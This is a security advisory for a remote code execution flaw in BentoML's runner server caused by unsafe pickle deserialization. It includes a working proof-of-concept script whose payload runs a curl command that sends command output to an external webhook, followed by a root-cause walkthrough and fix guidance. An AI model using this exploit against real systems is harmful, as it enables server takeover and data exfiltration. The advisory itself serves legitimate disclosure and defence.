GHSA-7v4r-c989-xh26
CRITICALBentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization
EPSS Exploitation Probability
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Blast Radius
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Description
Summary
There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.
PoC
- First, create a file named model.py to create a simple model and save it
import bentoml
import numpy as np
class mymodel:
def predict(self, info):
return np.abs(info)
def __call__(self, info):
return self.predict(info)
model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)
- Then run the following command to save this model
python3 model.py
- Next, create bentofile.yaml to build this model
service: "service.py"
description: "A model serving service with BentoML"
python:
packages:
- bentoml
- numpy
models:
- tag: MyModel:latest
include:
- "*.py"
- Then, create service.py to host this model
import bentoml
from bentoml.io import NumpyNdarray
import numpy as np
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
svc = bentoml.Service("myservice", runners=[model_runner])
async def predict(input_data: np.ndarray):
input_columns = np.split(input_data, input_data.shape[1], axis=1)
result_generator = model_runner.async_run(input_columns, is_stream=True)
async for result in result_generator:
yield result
- Then, run the following commands to build and host this model
bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888
- Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.
import requests
import pickle
url = "http://0.0.0.0:8888/"
headers = {
"args-number": "1",
"Content-Type": "application/vnd.bentoml.pickled",
"Payload-Container": "NdarrayContainer",
"Payload-Meta": '{"format": "default"}',
"Batch-Size": "-1",
}
class P:
def __reduce__(self):
return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))
response = requests.post(url, headers=headers, data=pickle.dumps(P()))
print(response)
And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.
Root Cause Analysis:
- When handling a request in BentoML runner server in
src/bentoml/_internal/server/runner_app.py, when the request headerargs-numberis equal to 1, it will call the function_deserialize_single_paramlike the code below:
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
assert self._is_ready
arg_num = int(request.headers["args-number"])
r_: bytes = await request.body()
if arg_num == 1:
params: Params[t.Any] = _deserialize_single_param(request, r_)
- Then this is the function of
_deserialize_single_param, which will take the value of all request headers ofPayload-Container,Payload-MetaandBatch-Sizeand the crafted intoPayloadclass which will contain the data fromrequest.body
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
container = request.headers["Payload-Container"]
meta = json.loads(request.headers["Payload-Meta"])
batch_size = int(request.headers["Batch-Size"])
kwarg_name = request.headers.get("Kwarg-Name")
payload = Payload(
data=bs,
meta=meta,
batch_size=batch_size,
container=container,
)
if kwarg_name:
d = {kwarg_name: payload}
params: Params[t.Any] = Params(**d)
else:
params: Params[t.Any] = Params(payload)
return params
- After crafting
Paramscontaining payload, it will call to functioninferwithparamsvariable as input
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304
try:
payload = await infer(params)
- Inside function
infer, theparamsvariable with is belong to classParamswill call the functionmapof that class withAutoContainer.from_payloadas a parameter.
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289
async def infer(params: Params[t.Any]) -> Payload:
params = params.map(AutoContainer.from_payload)
try:
ret = await runner_method.async_run(
*params.args, **params.kwargs
)
except Exception:
traceback.print_exc()
raise
return AutoContainer.to_payload(ret, 0)
- Inside class
Paramsdefine the functionmapwhich will call theAutoContainer.from_payloadfunction with arguments, which aredata,meta,batch_sizeandcontainer
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66
def map(self, function: t.Callable[[T], To]) -> Params[To]:
"""
Apply a function to all the values in the Params and return a Params of the
return values.
"""
args = tuple(function(a) for a in self.args)
kwargs = {k: function(v) for k, v in self.kwargs.items()}
return Params[To](*args, **kwargs)
- Inside class
AutoContainerclass have defined the functionfrom_payloadwhich will find the class by thepayload.container, which is the value of headerPayload-Container, and it will call the functionfrom_payloadfrom the chosen class as return value
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712
def from_payload(cls, payload: Payload) -> t.Any:
container_cls = DataContainerRegistry.find_by_name(payload.container)
return container_cls.from_payload(payload)
And if the attacker set value of header Payload-Container to NdarrayContainer or PandasDataFrameContainer, it will call from_payload and when it then check if the payload.meta["format"] == "default" it will call pickle.loads(payload.data) and payload.meta["format"] is the value of header Payload-Meta and the attacker can set it to {"format": "default"} and payload.data is the value of request.body which is the payload from malicious class P in my request, which will trigger __reduce__ method and then execute arbitrary commands (for my example is the curl command)
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416
def from_payload(
cls,
payload: Payload,
) -> ext.PdDataFrame:
if payload.meta["format"] == "default":
return pickle.loads(payload.data)
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312
def from_payload(
cls,
payload: Payload,
) -> ext.NpNDArray:
format = payload.meta.get("format", "default")
if format == "default":
return pickle.loads(payload.data)
Impact
In the above Proof of Concept, I have shown how the attacker can execute command id and send the output of the command to the outside. By replacing id command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | ≥ 1.0.0a1&&< 1.4.8 | 1.4.8 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bentoml to 1.4.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7v4r-c989-xh26 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7v4r-c989-xh26 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7v4r-c989-xh26. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7v4r-c989-xh26 in your dependencies?
O3 detects GHSA-7v4r-c989-xh26 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.